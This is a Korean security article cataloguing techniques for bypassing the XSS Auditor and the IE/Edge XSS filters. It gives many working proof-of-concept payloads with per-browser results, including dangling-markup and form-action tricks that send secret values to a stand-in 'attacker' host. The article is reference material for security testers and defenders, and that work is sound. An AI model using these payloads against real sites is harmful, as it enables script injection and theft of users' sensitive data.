이 글은 XSS Auditor, XSS 필터의 우회에 대해 다루고 있다.
대상은 Chrome, Firefox, Edge, IE11, Safari, Opera 이다.
만약 당신이 취약점 진단 업무를 하고있다면 XSS 필터의 우회가 가능하다는 사실을 널리 알리기 위해서 더 많은 우회 방법을 찾아서 알려주십시오.
또한 이 글은 일반적인 상황에서 우회 가능한 케이스에 대해서만 다루고 있다.
여기에서 다루지 않더라도 실제 상황에서는 더 다양한 방법이 있을 수 있다.
당신이 보안 담당자라면 XSS 필터의 존재와 관계없이 근본적인 XSS 대책을 수립하는것을 권장한다.
MS Edge는 Windows 10 Build 17723 부터 XSS 필터가 삭제되었다.
이 글에서 Edge 브라우저는 XSS 필터가 아직 존재하는 버전을 사용해 테스트되었다.
목차
- XSS Auditor(Chromium)
- 차단 대상이 아닌 것
- 문자열 리터럴에서 일어나는 XSS
- URL 단독으로 성립하는 XSS(입력값이 a태그의 href속성에 직접 들어가는 경우)
- 2개 이상의 인젝션 포인트가 있는 경우
- 문자열이 조작되는 경우
- 삭제되는 경우
- 치환되는 경우
- Request값을 document.write() 하는 경우를 제외한 DOM based XSS
- XML 페이지에서의 XSS
- http(s): 링크 만들기
- 외부로 Request를 만들 수 있는 태그
- 임의의 CSS 실행
- 필터 우회
- SVG 애니메이션 효과의 values 속성을 사용
- 여러개의 null문자를 사용
- script태그의 --> 주석을 사용
- 어중간한 base 태그의 사용
- Flash 사용
- 상대경로로 js파일을 로드하는 스크립트 사용
- ISO-2022-JP 이스케이프 시퀀스 사용
- 동일한 도메인의 리소스 사용
- Path를 사용한 XSS
- 파일 업로드 기능 사용
- Flash와 flashvars의 사용
- Flash와ExternalInterface.objectID와 ExternalInterface.call()의 사용
- Angular의 사용
- Vue.js의 사용
- jQuery의 사용
- underscore.js의 사용
- JSXTransformer/babel-standalone등의 JSX 변환 스크립트 사용
- document.write()될 때 어중간한 태그를 사용
- 어중간한 form태그의 사용(민감 정보 취득 가능)
- 차단 대상이 아닌 것
- IE/Edge의 XSS 필터
- 차단 대상이 아닌 것
- 문자열 리터럴에서 일어나는 XSS
- 완전한 DOM based XSS
- 2개 이상의 인젝션 포인트가 있는 경우
- 문자열 조작이 있는 경우
- 삭제되는 경우
- 치환되는 경우
- 외부에 요청을 보낼 수 있는 태그
- 필터 우회
XML namespace로 위장한 문자열 사용- HZ-GB-2312 이스케이프 시퀀스 사용
- 페이지 이동시의 인코딩 동작의 이용
Adobe Acrobat Reader 플러그인을 사용- XML을 이용한 Content Sniffing
- UTF-7 BOM을 사용
- <?PXML>을 사용
- referer를 사용
- 같은 도메인(서브도메인 포함) 내에 있는 링크 사용
- 2중으로 링크를 걸어 referer 생성
- 취약한 form의 전송 이전의 상태를 조작 가능한 경우
- option태그의 사용
- 비어있는 iframe태그의 사용
- formaction의 사용 (민감 정보 취득 가능)
- CSS의 참조 구문 이용(CSS 값 조작 가능시)
- 차단 대상이 아닌 것
XSS Auditor
차단 대상이 아닌 것
처음부터 필터링이 적용되지 않는 상황에서는 별다른 조작없이 스크립트의 실행이 가능함
문자열 리터럴에서 일어나는 XSS
https://vulnerabledoma.in/bypass/str_literal?q=%22%3Balert(1)//
<script>var q="";alert(1)//"</script>
O | O | X | X | O | O |
URL 단독으로 성립하는 XSS(입력값이 a태그의 href속성에 직접 들어가는 경우)
https://vulnerabledoma.in/bypass/link?q=javascript:alert(1)
<a href="javascript:alert(1)">Link</a>
O | O | X | X | O | O |
2개 이상의 인젝션 포인트가 있는 경우
(차단할 수 있을것으로 보이지만, 과거에 보고된 케이스에서 ( #96616 #403636 ) Will not Fix 를 받았기에, 차단 대상이 아닌 것으로 분류함)
https://vulnerabledoma.in/bypass/text?type=2&q=%60-alert(1)%3C/script%3E%3Cscript%3E%60
<div>`-alert(1)</script><script>`</div> <div>`-alert(1)</script><script>`</div>
O | O | X | X | O | O |
문자열이 조작되는 경우
일부 문자열이 삭제되거나 치환될 때 해당 문자열을 페이로드 사이에 넣어 차단을 우회할 수 있음
삭제되는 경우
https://vulnerabledoma.in/bypass/text?type=6&q=%3Csvg%20o%3Cscript%3Enload=alert(1)%3E
<svg o<script>nload=alert(1)> ↓ <svg onload=alert(1)>
O | O | O | O | O | O |
치환되는 경우
https://vulnerabledoma.in/bypass/text?type=7&q=%3Cscript%3E/%26/-alert(1)%3C/script%3E
<script>/&/-alert(1)</script> ↓ <script>/&/-alert(1)</script>
O | O | X | X | O | O |
Request값을 document.write() 하는 경우를 제외한 DOM based XSS
https://vulnerabledoma.in/bypass/dom_innerhtml#%3Cimg%20src=x%20onerror=alert(1)%3E
<body> <script> hash=location.hash.slice(1); document.body.innerHTML=decodeURIComponent(hash); </script> </body>
O | O | O | O | O | O |
https://vulnerabledoma.in/bypass/dom_redirect#javascript:alert(1)
<script> location.href=decodeURIComponent(location.hash.slice(1)); </script>
O | O | O | O | O | O |
XML 페이지에서의 XSS
<?xml version="1.0"?><html><script xmlns="http://www.w3.org/1999/xhtml">alert(1)</script></html>
O | O | O | O | O | O |
혹은 페이지의 가장 앞에 문자열을 쓸 수 있으며, Content-Type이 text/html로 설정되지 않고, Content Sniffing이 가능한 경우에도 우회가 가능
<?xml version="1.0"?><script xmlns="http://www.w3.org/1999/xhtml">alert(1)</script>
O | O | X | X | O | O |
다음은 스크립트의 실행은 불가능하지만 악용의 가능성이 존재하는 기법임
http(s):링크 만들기
<a href=https://attacker/>Session expired. Please login again.</a>
O | O | X | X | O | O |
외부로 Request를 만들 수 있는 태그
따음표 한쪽을 닫지 않은 img 태그를 이용해 외부로 Request를 할 때 그 내용에 비밀 정보를 포함시킬 수 있음
https://vulnerabledoma.in/bypass/text?type=8&q=%3Cimg%20src=%22https://attacker/?data=
<p><img src="https://attacker/?data=</p> <p>This is a secret text.</p> <p id="x">AAA</p>
O | O | O | O | O | O |
임의의 CSS 실행
페이지의 내용을 모방할 뿐만 아니라 페이지 내에 중요한 정보가 담겨있을 때 CSS만을 사용해 정보를 탈취할 수 있음 자세한 내용은 URL 참고.
참고URL:
- http://www.businessinfo.co.uk/labs/talk/The_Sexy_Assassin.ppt
- https://masatokinugawa.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html
https://vulnerabledoma.in/bypass/text?q=%3Cstyle%3E@import%20%27//attacker/test.css%27%3C/style%3E
<style>@import '//attacker/test.css'</style>
O | O | X | X | O | O |
https://vulnerabledoma.in/bypass/text?q=%3Clink%20rel=stylesheet%20href=//attacker/test.css%3E
<link rel=stylesheet href=//attacker/test.css>
O | O | X | X | O | O |
필터 우회
SVG 애니메이션 효과의 values 속성을 사용
공격 가능 조건:
- 임의의 태그를 쓸 수 있는 XSS 취약점이 존재
참고URL:
- https://bugs.chromium.org/p/chromium/issues/detail?id=709365
- https://bugs.chromium.org/p/chromium/issues/detail?id=738017
PoC:
<svg xmlns:xlink=http://www.w3.org/1999/xlink><animate xlink:href=#x attributeName="xlink:href" values=" javascript:alert(1)" />
<a id=x><rect width=100 height=100 /></a>
X | O | X | X | X | O |
FireFox에서는 values=”javascript:alert(1)” 로 주면 우회가 가능함
여러개의 null문자를 사용
공격 가능 조건:
- 임의의 태그를 쓸 수 있는 XSS 취약점이 존재
- null 바이트가 출력이 됨
- 페이로드의 바로 앞에 공백문자가 존재하지 않음
참고URL:
PoC:
https://vulnerabledoma.in/bypass/text?q=%00%00%00%00%00%00%00%3Cscript%3Ealert(1)%3C/script%3E
[0x00][0x00][0x00][0x00][0x00][0x00][0x00]<script>alert(1)</script>
X | O | X | X | X | O |
script태그의 –> 주석을 사용
공격 가능 조건:
- 임의의 태그를 쓸 수 있는 XSS 취약점이 존재
- 페이로드의 뒤에 개행문자가 없이 script태그를 닫음
참고URL:
PoC:
https://vulnerabledoma.in/bypass/text?type=9&q=%3Cscript%3Ealert(1)%0A–%3E
<div><script>alert(1) --></div><script src=/test.js></script>
X | O | X | X | X | O |
어중간한 base 태그의 사용
Flash 사용
공격 가능 조건:
- 임의의 태그를 쓸 수 있는 XSS 취약점이 존재
- 페이로드의 바로 뒤에 공백문자 혹은 ‘, ” 가 존재
- 공격 타겟이 flash를 이용 가능
참고URL:
PoC:
(바로 뒤에 공백이 없는 경우)
https://vulnerabledoma.in/bypass/text?type=3&q=%3Cembed%20allowscriptaccess=always%20src=/xss.swf%3E%3Cbase%20href=//l0.cm/
<div><embed allowscriptaccess=always src=/xss.swf><base href=//l0.cm/</div>
X | X | X | X | X | O |
(바로 뒤에 공백이 있는 경우)
https://vulnerabledoma.in/bypass/text?type=4&q=%3Cembed%20allowscriptaccess=always%20src=/xss.swf%3E%3Cbase%20href=%22//l0.cm/
<div> <embed allowscriptaccess=always src=/xss.swf><base href="//l0.cm/ </div><div id="x"></div>
X | X | X | X | X | O |
상대경로로 js파일을 로드하는 스크립트 사용
공격 가능 조건:
- 임의의 태그를 쓸 수 있는 XSS 취약점이 존재
- 페이로드의 바로 뒤에 공백문자 혹은 ‘, “가 존재
- 페이로드의 바로 뒤에 상대경로로 js파일을 로드함
PoC:
https://vulnerabledoma.in/bypass/text?type=9&q=%3Cbase%20href=//cors.l0.cm/
<div><base href=//cors.l0.cm/</div><script src=/test.js></script>
X | O | X | X | X | O |
ISO-2022-JP 이스케이프 시퀀스 사용
공격 가능 조건:
- 임의의 태그를 쓸 수 있는 XSS 취약점이 존재
- 페이지에 언어셋 지정이 없음
보충:
ISO-2022-JP의 HTML 중에서 [0x1B](B
、[0x1B](H
、[0x1B](J
라는 문자열은 무시됨. 이것을 이벤트핸들러 사이에 끼워넣음으로써 우회가 가능.
또, Chrome/Safari에서는 [0x1B]$@[0x0A]
라는 문자열이 [0x0A]
와 같게 취급되지만, XSS Auditor는 해석하지 못하여 우회가 가능.
참고URL:
PoC:
- https://vulnerabledoma.in/bypass/text?q=%3Cmeta%20charset=iso-2022-jp%3E%3Csvg%20o%1B(Bnload=alert(1)%3E
- https://vulnerabledoma.in/bypass/text?q=%3Cmeta%20charset=iso-2022-jp%3E%3Csvg%20o%1B(Hnload=alert(1)%3E
- https://vulnerabledoma.in/bypass/text?q=%3Cmeta%20charset=iso-2022-jp%3E%3Csvg%20o%1B(Jnload=alert(1)%3E
<meta charset=iso-2022-jp><svg o[0x1B](Bnload=alert(1)>
O | O | X | X | O | O |
(※ $기호가 임의로 인코딩되어 의도대로 동작하지 않기 때문에 $를 포함하는 방법으로 우회가 가능)
- https://vulnerabledoma.in/bypass/text?q=%3Cmeta%20charset=iso-2022-jp%3E%3Cscript%3Ealert(1)%1B$@%0A%3C/script%3E
- https://vulnerabledoma.in/bypass/text?q=%3Cmeta%20charset=iso-2022-jp%3E%3Cscript%3Ealert(1)%1B$B%0A%3C/script%3E
- https://vulnerabledoma.in/bypass/text?q=%3Cmeta%20charset=iso-2022-jp%3E%3Cscript%3Ealert(1)%1B(I%0A%3C/script%3E
- https://vulnerabledoma.in/bypass/text?q=%3Cmeta%20charset=iso-2022-jp%3E%3Cscript%3Ealert(1)%1B$@%0D%3C/script%3E
<meta charset=iso-2022-jp><script>alert(1)[0x1B]$@[0x0A]</script>
O | X | X | X | O | O |
동일한 도메인의 리소스 사용
XSS Auditor는 쿼리가 포함되지 않은 동일한 도메인으로부터의 리소스 사용을 차단하지 않음
동일한 도메인에 공격에 필요한 파일을 업로드 할 수 있을 경우에 우회가 가능한 케이스가 존재함
Path를 사용한 XSS
공격 가능 조건:
- 임의의 태그를 쓸 수 있는 XSS 취약점이 존재
- 요청하는 페이지의 주소에 쿼리가 포함되지 않음
PoC:
PATH_INFO:/<link rel=import href="/bypass/path/<script>alert(1)</script>">
O | X | X | X | O | X |
파일 업로드 기능 사용
공격 가능 조건:
- 임의의 태그를 쓸 수 있는 XSS 취약점이 존재
- 사용자가 업로드한 파일이 같은 오리진내에 업로드 됨
PoC:
https://vulnerabledoma.in/bypass/text?q=%3Cscript%20src=/bypass/usercontent/xss.js%3E%3C/script%3E
<script src=/bypass/usercontent/xss.js></script>
O | O | X | X | O | O |
https://vulnerabledoma.in/bypass/text?q=%3Clink%20rel=import%20href=/bypass/usercontent/icon.jpg%3E
<link rel=import href=/bypass/usercontent/icon.jpg>
O | X | X | X | O | X |
Flash와 flashvars의 사용
공격 가능 조건:
- 임의의 태그를 쓸 수 있는 XSS 취약점이 존재
- 같은 오리진내에 ExternalInterface.call() 함수에 이스케이프 되지 않은 문자열을 파라미터로 넘겨주는 Flash가 존재
- 공격 타겟이 flash를 이용 가능
보충:
flashvars
속성을 사용하면, Flash에서 파라미터를 부여하지 않아도 파라미터가 전송됨
(= Flash에서는 XSS 대책의 일환으로 URL에 직접 파라미터를 넘기는 것이 제한되어 있지만, flashvars
를 사용하는 경우에는 가능함)
또한, Content-Security-Policy: default-src 'self'
와 같은 CSP가 설정되어 있는 경우, CSP의 우회에도 사용이 가능함
PoC:
<embed name=a flashvars='autoplay=true&file="})\")-(alert=alert(1)))}catch(e){}//'
allowscriptaccess=always src=//vulnerabledoma.in/bypass/wp-includes/js/mediaelement/flashmediaelement.swf>
O | O | X | X | O | O |
ActionScript:
ExternalInterface.call("setTimeout", ExternalInterface.objectID + '_event' + "('" + eventName + "'," + eventValues + ")", 0);
Flash와 ExternalInterface.objectID와 ExternalInterface.call()의 사용
공격 가능 조건:
- 임의의 태그를 쓸 수 있는 XSS 취약점이 존재
- 같은 오리진내에
ExternalInterface.objectID
와ExternalInterface.call()
으로 넘겨지는 Flash가 존재 - 공격 타겟이 flash를 이용 가능
보충:
플래시를 embed할 때 해당 태그의 name 속성이 ExternalInterface.objectID 값으로 설정됨
단독으로는 XSS가 불가능하지만, 우회에 악용될 수 있음Content-Security-Policy: default-src 'self'
와 같은 CSP가 설정되어 있는 경우, CSP의 우회에도 사용이 가능함
PoC:
<embed name='alert(1)-' allowscriptaccess=always src=//vulnerabledoma.in/bypass/wp-includes/js/mediaelement/flashmediaelement.swf>
O | O | X | X | O | O |
ActionScript:
ExternalInterface.call(ExternalInterface.objectID + '_init');
Angular의 사용
공격 가능 조건:
- 임의의 태그를 쓸 수 있는 XSS 취약점이 존재
- 같은 오리진내에 Angular 파일이 존재하거나 CORS에 대응한 CDN으로부터 Angular를 로드하는 페이지가 존재
보충:
Angular는 ng-app이라는 속성을 갖는 태그 내부에서 {{}}로 감싸진 템플릿을 렌더링 함. 이 때 템플릿은 자바스크립트를 실행함
참고URL:
PoC:
<script src="/js/angular1.6.4.min.js"></script><p ng-app>{{constructor.constructor('alert(1)')()}}
O | O | X | X | O | O |
같은 오리진내에 CORS에 대응한 CDN으로부터 Angular를 로드하는 페이지가 있다면, HTML Imports로부터 외부 리소스를 간접적으로 로드할 수 있음
<link rel=import href=angular.html><p ng-app>{{constructor.constructor('alert(1)')()}}
O | X | X | X | O | X |
Vue.js의 사용
공격 가능 조건:
- 임의의 태그를 쓸 수 있는 XSS 취약점이 존재
- 같은 오리진내에 Vue.js 파일이 존재하거나 CORS에 대응한 CDN으로부터 Vue.js를 로드하는 페이지가 존재
- 페이지 혹은 같은 오리진내에서 조작된 태그가 템플릿을 통하여 실행될 수 있음
PoC:
<link rel=import href=/bypass/vue.html><div id=app>{{constructor.constructor('alert(1)')()}}
O | X | X | X | O | X |
jQuery의 사용
공격 가능 조건:
- 임의의 태그를 쓸 수 있는 XSS 취약점이 존재
- 같은 오리진내에 jQuery 파일이 존재하거나 CORS에 대응한 CDN으로부터 jQuery를 로드하는 페이지가 존재
- 페이지 혹은 같은 오리진내에서 조작된 form태그가 jQuery의 함수를 통하여 실행될 수 있음
보충:
jQuery의 함수는after, before, prepend, append, html, replaceWith, wrap, wrapAll, insertBefore, insertAfter, prependTo, appendTo등이 있음.
ownerDocument라는 name속성을 가진 form을 사용해서 Node.ownerDocument의 참조를 속여
스크립트가 실행되지 않는 환경에서 스크립트를 실행하게 할 수 있음(이러한 기법을 DOM Clobbering라고 부름)
또한, 스크립트의 실행 전에 <!-- 를 제거하는 과정과, Auditor에서는 주석을 차단하지 않는 과정이 합쳐져 우회가 가능
참고URL:
PoC:
<!DOCTYPE html> <html> <head> <script src="/js/jquery-3.2.1.min.js"></script> <script> $(document).ready(function(){ // code taken from http://api.jquery.com/after/ $( ".container" ).after( $( ".child" ) ); }); </script> </head> <body> <!-- XSS --> <form class=child><input name=ownerDocument><script><!--alert(1)</script></form> <!-- XSS --> <p class="container"></p> </body> <!-- Inspired by @sirdarckcat CSP bypass trick: https://sirdarckcat.github.io/csp/jquery.html --> </html>
O | O | X | X | O | X |
<link rel=import href=/bypass/jquery.html><p class=container></p><form class=child><input name=ownerDocument><script><!--alert(1)</script></form>
O | X | X | X | O | X |
underscore.js의 사용
공격 가능 조건:
- 임의의 태그를 쓸 수 있는 XSS 취약점이 존재
- 같은 오리진내에 underscore.js 파일이 존재하거나 CORS에 대응한 CDN으로부터 underscore.js를 로드하는 페이지가 존재
- 페이지 혹은 같은 오리진내에서 조작된 script태그가 템플릿을 통하여 실행될 수 있음
PoC:
<link rel=import href=/bypass/underscore.html><script id=template>//<%alert`1`%></script>
O | X | X | X | O | X |
JSXTransformer/babel-standalone등의 JSX 변환 스크립트 사용
공격 가능 조건:
- 임의의 태그를 쓸 수 있는 XSS 취약점이 존재
- 같은 오리진내에 JSXTransformer.js 등의 JSX 변환 스크립트 파일이 존재하거나 CORS에 대응한 CDN으로부터 해당 파일을 로드하는 페이지가 존재
보충:
변환 스크립트가 SVG의 스크립트 블록을 HTML의 스크립트 블록으로 컴파일하는 점을 사용하여 실행하지 않는 주석 부분인 <!-- --> 부분을 스크립트로 인식함
PoC:
<link rel=import href=/bypass/babel-standalone.html><svg><script type=text/jsx>//<!-- alert(1)//--></svg><script>0</script>
O | X | X | X | O | X |
document.write()될 때 어중간한 태그를 사용
공격 가능 조건:
- URL을 document.write() 하는 XSS 취약점이 존재
- 공격에 사용되는 태그가 document.write() 될 때 뒤에 html 태그가 존재함 (PoC에서는
</body>
를 활용)
참고URL:
PoC:
https://vulnerabledoma.in/bypass/dom_docwrite#%3Cimg%20src=x%20onerror=alert(1)//
<body> <script> hash=location.hash.slice(1); document.write(decodeURIComponent(hash)); </script> </body>
O | O | O | O | O | X |
Chrome, Firefox, Edge, IE에서는 > 로 태그를 닫아도 정상적으로 XSS 필터 우회가 가능함
오직 Opera에서만 어중간한 태그를 사용해 XSS 필터를 우회해야 함
document.write() 함수 뒤에 다른 태그가 존재할 경우에 어중간한 태그가 작성된 후에
다른 태그의 > 가 어중간한 태그를 닫는 역할을 해줌. PoC의 경우에 document.body.innerHTML 값은
<img src=”x” onerror=”alert(1)//” <=”” body=””> 가 됨
어중간한 form태그의 사용(민감 정보 취득 가능)
공격 가능 조건:
- 임의의 태그를 쓸 수 있는 XSS 취약점이 존재
- 새로 form 태그를 써 민감 정보를 포함한 기존의 form내용의 action값을 바꿔치기 할 수 있음
참고URL:
PoC:
(form 내부에 존재) https://vulnerabledoma.in/bypass/form?q=%22%3E%3C/form%3E%3Cform%20action=https://attacker/
<form action="form"> <input type="hidden" name="q" value=""></form><form action=https://attacker/"> <input type="hidden" name="secret" value="a09d3ef0"> <input type="submit"> </form>
X | O | O | O | X | O |
(form 외부에 존재) https://vulnerabledoma.in/bypass/form2?q=%3Cbutton%20form=f%3ECLICK%3Cform%20id=f%20action=https://attacker/
<div><button form=f>CLICK<form id=f action=https://attacker/</div> <form action="form2"> <input type="hidden" name="secret" value="a09d3ef0"> </form>
X | O | O | X | X | O |
IE/Edge의 XSS 필터
차단 대상이 아닌 것
문자열 리터럴에서 일어나는 XSS
보충:
이전에는 문자열 리터럴 차단조건이 존재했음. 현재도 차단 조건이 부분적으로 남아있지만,
이전에는 차단되었던 location에 대입하는 공격 방법이 허가되었기에 필터가 없는 것과 마찬가지임
https://vulnerabledoma.in/bypass/str_literal?q=%22%3Blocation=’javascript\x3Aalert\x281\x29’//
<script>var q="";location='javascript\x3Aalert\x281\x29'//"</script>
O | O | O | O | O | O |
완전한 DOM based XSS
https://vulnerabledoma.in/bypass/dom_docwrite#%3Cimg%20src=x%20onerror=alert(1)%3E
<script> hash=location.hash.slice(1); document.write(decodeURIComponent(hash)); </script>
X | O | O | O | X | X |
https://vulnerabledoma.in/bypass/dom_innerhtml#%3Cimg%20src=x%20onerror=alert(1)%3E
<body> <script> hash=location.hash.slice(1); document.body.innerHTML=decodeURIComponent(hash); </script> </body>
O | O | O | O | O | O |
https://vulnerabledoma.in/bypass/dom_redirect#javascript:alert(1)
<script> location.href=decodeURIComponent(location.hash.slice(1)); </script>
O | O | O | O | O | O |
2개 이상의 인젝션 포인트가 있는 경우
<div>"src=data:,alert%281%29></script><script x="</div> <div>"src=data:,alert%281%29></script><script x="</div>
X | O | O | O | X | X |
문자열 조작이 있는 경우
일부 문자열이 삭제되거나 치환될 때 해당 문자열을 페이로드 사이에 넣어 차단을 우회할 수 있음
삭제되는 경우
https://vulnerabledoma.in/bypass/text?type=6&q=%3Csvg%20o%3Cscript%3Enload=alert(1)%3E
<svg o<script>nload=alert(1)> ↓ <svg onload=alert(1)>
O | O | O | O | O | O |
치환되는 경우
XSS 필터가 정규표현식에서 .이 의미하는 길이 이상으로 치환하는 경우에는 우회할 수 있음
다음의 경우에는<sc{r}ipt.*?>라는 차단 조건에 매치되지 않도록 &가 길이 이상으로 치환되는 동작을 사용함
/는 0-3글자, &는 0-5글자의 와일드카드이기 때문에, 차단할 수 있는 최대 길이는 8글자임
/&가 치환 후 출력되는 문자열은 10글자이고, 차단할 수 있는 최대 길이인 8글자를 넘으므로 우회가 가능함
PoC:
https://vulnerabledoma.in/bypass/text?type=10&q=%3Cscript/%26%3Ealert(1)%3C/script%3E
<script/&>alert(1)</script> ↓ <script/&amp;>alert(1)</script>
X | O | O | O | X | O |
다음은 스크립트의 실행은 불가능하지만 악용의 가능성이 존재하는 기법임
외부에 요청을 보낼 수 있는 태그
이미지 태그 등의 src 속성의 한 쪽을 닫지 않고 사용하여 민감 정보를 리퀘스트에 포함시킬 수 있음
https://vulnerabledoma.in/bypass/text?type=8&q=%3Cimg%20src=%22https://attacker/?data=
<p><img src="https://attacker/?data=</p> <p>This is a secret text.</p> <p id="x">AAA</p>
O | O | O | O | O | O |
필터 우회
XML namespace로 위장한 문자열 사용
공격 가능 조건:
- 임의의 태그를 쓸 수 있는 XSS 취약점이 존재
- 공격 타겟이 flash를 이용 가능
X-XSS-Protection:1; mode-block
헤더가 있지 않음
보충:
Edge는 XML namespace가 붙지 않은 태그도 차단함. <embed/:script 로 되어있는 문자열을 보통의 HTML에서 사용하면
원래 embed태그로 해석해야 할 것을, script태그로 해석해 차단에 실패함.
그러나 차단 동작은 실행되었기에 X-XSS-Protection:1; mode-block헤더가 존재할 경우에 우회가 불가능함
참고URL:
PoC:
<embed/:script allowscriptaccess=always src=//l0.cm/xss.swf>
X | X | X | X | X | X |
Microsoft Edge 41 기준으로 해당 기법은 패치되어 더이상 통하지 않음을 확인함
HZ-GB-2312 이스케이프 시퀀스 사용
공격 가능 조건:
- 임의의 태그를 쓸 수 있는 XSS 취약점이 존재
- 페이지에 Content-Type 지정이 없음
참고URL:
PoC:
https://vulnerabledoma.in/bypass/text?q=%3Cx~%0Aonfocus=alert%281%29%20id=a%20tabindex=0%3E#a
<x~ onfocus=alert(1) id=a tabindex=0>
X | X | O | O | X | X |
페이지 이동시의 인코딩 동작의 이용
공격 가능 조건:
- GET 메소드를 통한 Reflected XSS 취약점이 존재
보충:
IE/Edge는 페이지를 이동할 때 이동 전의 페이지의 언어셋으로 쿼리 문자열을 인코딩해 리퀘스트를 보냄
이 때 XSS 필터는 전송되는 리퀘스트가 아닌 인코딩 된 문자열을 체크하는 것으로 추정됨
인코딩된 문자열과 실제 전송된 문자열이 불일치 할 때 우회가 가능함
이하의 PoC에서는 예시를 위해 x-chinese-cns을 사용함
x-chinese-cns에서는 旡 문자열이 0xA13E에 매핑되어 있음
이 때 x-chinese-cns 언어셋으로 설정된 페이지에게 <script/旡 문자열을 Reflected XSS 페이로드에 포함시켜 전송 할 경우,
전송되는 Request는 旡 문자열을 UTF-8이 아닌 x-chinese-cns로 인코딩하여 <script/0xA1>(0x3E는 >)가 됨
결과적으로 페이지에 <script>가 쓰여짐
보통의 경우에는 <script>태그가 XSS 필터에 걸리겠지만, 이 경우에는 우회가 가능
XSS 필터는 <script/旡 문자열이 차단 조건인 <sc{r}ipt.*?>에 일치하지 않는다고 판단해 차단하지 않는것으로 추측됨
참고URL:
PoC:
<meta charset=utf-8> <script> document.charset="x-chinese-cns"; location="https://vulnerabledoma.in/bypass/text?q=<script/旡alert(1)<\/script/旡" </script>
X | X | O | O | X | X |
(속성 값으로만 XSS 공격) https://l0.cm/bypass/ie_x-chinese-cns_attribute.html
<meta charset=utf-8> <script> document.charset="x-chinese-cns"; location="https://vulnerabledoma.in/bypass/attribute?q=乜onmouseover=alert(1)//" </script>
X | X | O | O | X | X |
다른 언어셋에서도 인코딩된 문자열과 실제 전송되는 문자열이 불일치 할 경우 우회 가능
- https://l0.cm/bypass/ie_hz_text.html
- https://l0.cm/bypass/ie_hz_attribute.html
- https://l0.cm/bypass/ie_iso2022jp_text.html
- https://l0.cm/bypass/ie_iso2022jp_attribute.html
(아래는 시스템로케일이 일본어 환경에서는 재현되지만 독일어, 한국어 환경에서는 재현되지 않음.
사소한 동작 원리에 차이가 있을것으로 예상되지만 확실한 동작원리는 원저자도 모르겠다고 함)
Adobe Acrobat Reader 플러그인을 사용
공격 가능 조건:
- POST 메소드를 통한 Reflected XSS 취약점이 존재
- 공격 타겟이 Adobe Acrobat Reader를 이용 가능
참고URL:
PoC:
https://l0.cm/bypass/ie_postxss_bypass.pdf
%PDF-1.1
1 0 obj
<<
/Type /Catalog
/Outlines 2 0 R
/Pages 3 0 R
/OpenAction 33 0 R
/AcroForm 22 0 R
>>
endobj
2 0 obj
<<
/Type /Outlines
/Count 0
>>
endobj
3 0 obj
<<
/Type /Pages
/Kids [4 0 R]
/Count 1
>>
endobj
4 0 obj
<<
/Type /Page
/Annot [ 23 0 R ]
/Parent 3 0 R
/MediaBox [0 0 612 792]
/Contents 5 0 R
/Resources <<
/ProcSet [/PDF /Text]
/Font << /F1 6 0 R >>
>>
>>
endobj
5 0 obj
<< /Length 56 >>
stream
BT /F1 12 Tf 100 700 Td 15 TL (JavaScript example) Tj ET
endstream
endobj
6 0 obj
<<
/Type /Font
/Subtype /Type1
/Name /F1
/BaseFont /Helvetica
/Encoding /MacRomanEncoding
>>
endobj
33 0 obj
<<
/S /SubmitForm
/F
<<
% URL TO SUBMIT TO:
/F (https://vulnerabledoma.in/bypass/text)
/FS /URL
>>
% SPECIFIES THE FORMAT AND OTHER FORM RELATED CONFIGURATION
/Flags 6
>>
endobj
22 0 obj
<<
/Fields [23 0 R]
>>
endobj
23 0 obj
<<
/DA (/Helv 12 Tf 0 g)
/F 4
/FT /Tx
/Rect [ 9.526760 680.078003 297.527008 702.078003 ]
/Subtype /Widget
/Type /Annot
% PARAMETER NAME
/T (q)
% PARAMETER PAYLOAD
/V (<script>alert\(1\)</script>)
/P 4 0 R
>>
endobj
trailer
<<
/Root 1 0 R
>>
X | X | X | X | X | X |
최신 Internet Explorer 기준으로 해당 기법은 패치되어 더이상 통하지 않음을 확인함
XML을 이용한 Content Sniffing
공격 가능 조건:
- 임의의 태그를 쓸 수 있는 XSS 취약점이 존재
X-Content-Type-Options:nosniff
헤더가 있지 않음- 페이지의 가장 앞에 문자열을 쓸 수 있음
참고URL:
PoC:
<?xml version="1.0"?><x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script>
X | X | X | O | X | X |
UTF-7 BOM을 사용
공격 가능 조건:
- 페이지의 가장 앞에 문자열을 쓸 수 있음
- +, /, -와 같은 기호의 사용이 가능
보충:
+/v8, +/v9, +/v+, +/v/는 UTF-7의 BOM으로 취급됨
IE에서는 이 문자열이 페이지의 가장 앞에 있을 경우에 언어셋을 UTF-7으로 인식함
페이지의 언어셋이 지정된 경우에도 history.back() 을 거치면 페이지의 언어셋이 UTF-7으로 취급됨
(이 동작은 2013년 7월에 Microsoft에 보고하였으나 아직 패치되지 않음)
PoC:
(페이지에 언어셋 지정이 없는 경우)
https://vulnerabledoma.in/bypass/text?q=%2B/v8-%2BADw-script%2BAD4-alert(1)%2BADw-/script%2BAD4-
+/v8-+ADw-script+AD4-alert(1)+ADw-/script+AD4-
X | X | X | O | X | X |
(페이지에 언어셋 지정이 있는 경우 )
https://l0.cm/bypass/ie_utf7.html
<script> function go(){ window.open("https://vulnerabledoma.in/bypass/text?q=%2B/v8-%2BADw-script%2BAD4-alert(location)%2BADw-/script%2BAD4-&charset=utf-8","a"); setTimeout(function(){window.open("https://l0.cm/h_back.html","a")},1000); } </script> <button onclick=go()>go</button>
X | X | X | O | X | X |
<?PXML>을 사용
공격 가능 조건:
- Reflected XSS 취약점이 존재
- <?PXML> 태그 앞에 < 가 2개 이하로 존재
- 페이지에 document mode가 9 이하로 설정되어 있거나 프레임에서 embed 태그 등을 통해 document mode가 9 이하로 설정됨
참고URL:
PoC:
<?PXML><html:script>alert(1)</html:script>
X | X | X | O | X | X |
https://vulnerabledoma.in/bypass/text?q=%3CPXML%3E%3Chtml:script%3Ealert(1)%3C/html:script%3E&xuac=9
<PXML><html:script>alert(1)</html:script>
X | X | X | O | X | X |
referer를 사용
IE/Edge는 같은 도메인(서브도메인 포함) 또는 localhost로부터의 Referer 헤더가 존재하는 경우, XSS 필터가 동작하지 않음.
이러한 referer를 삽입할 수 있는 경우 XSS 필터를 우회할 수 있음
같은 도메인(서브도메인 포함) 내에 있는 링크 사용
공격 가능 조건:
- Reflected XSS 취약점이 존재
- 같은 도메인(서브도메인 포함)에서 XSS 페이지를 가리키는 링크를 만들 수 있음
PoC:
